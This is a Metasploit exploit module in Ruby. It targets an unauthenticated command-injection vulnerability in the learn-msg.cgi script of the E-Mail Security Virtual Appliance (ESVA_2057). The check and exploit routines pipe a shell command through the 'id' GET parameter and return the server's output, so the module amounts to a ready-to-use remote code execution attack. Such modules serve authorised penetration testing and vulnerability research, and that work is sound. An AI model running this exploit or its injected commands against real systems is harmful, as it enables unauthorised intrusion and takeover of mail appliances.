## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection", 'Description' => %q{ This module exploits a command injection vulnerability found in E-Mail Security Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary OS commands without authentication. This module has been successfully tested on the ESVA_2057 appliance. }, 'License' => MSF_LICENSE, 'Author' => [ 'iJoo', # Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'OSVDB', '85462'], [ 'BID', '55050'], [ 'EDB', '20551' ] ], 'Payload' => { 'BadChars' => "", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl python', } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['ESVA_2057', {}], ], 'Privileged' => false, 'DisclosureDate' => "Aug 16 2012", 'DefaultTarget' => 0)) end def check clue = Rex::Text::rand_text_alpha(rand(5) + 5) res = send_request_cgi({ 'method' => 'GET', 'uri' => "/cgi-bin/learn-msg.cgi", 'vars_get' => { 'id' => "|echo #{clue};" } }) # If the server doesn't return the default redirection, probably something is wrong if res and res.code == 200 and res.body =~ /#{clue}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit peer = "#{rhost}:#{rport}" print_status("Sending Command injection") res = send_request_cgi({ 'method' => 'GET', 'uri' => "/cgi-bin/learn-msg.cgi", 'vars_get' => { 'id' => "|#{payload.raw};" } }) # If the server doesn't return the default redirection, probably something is wrong if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/ print_error("Probably command not executed, aborting!") return end print_good("Command executed successfully") print_status("Output: \n#{res.body.split("Learned tokens")[0]}") end end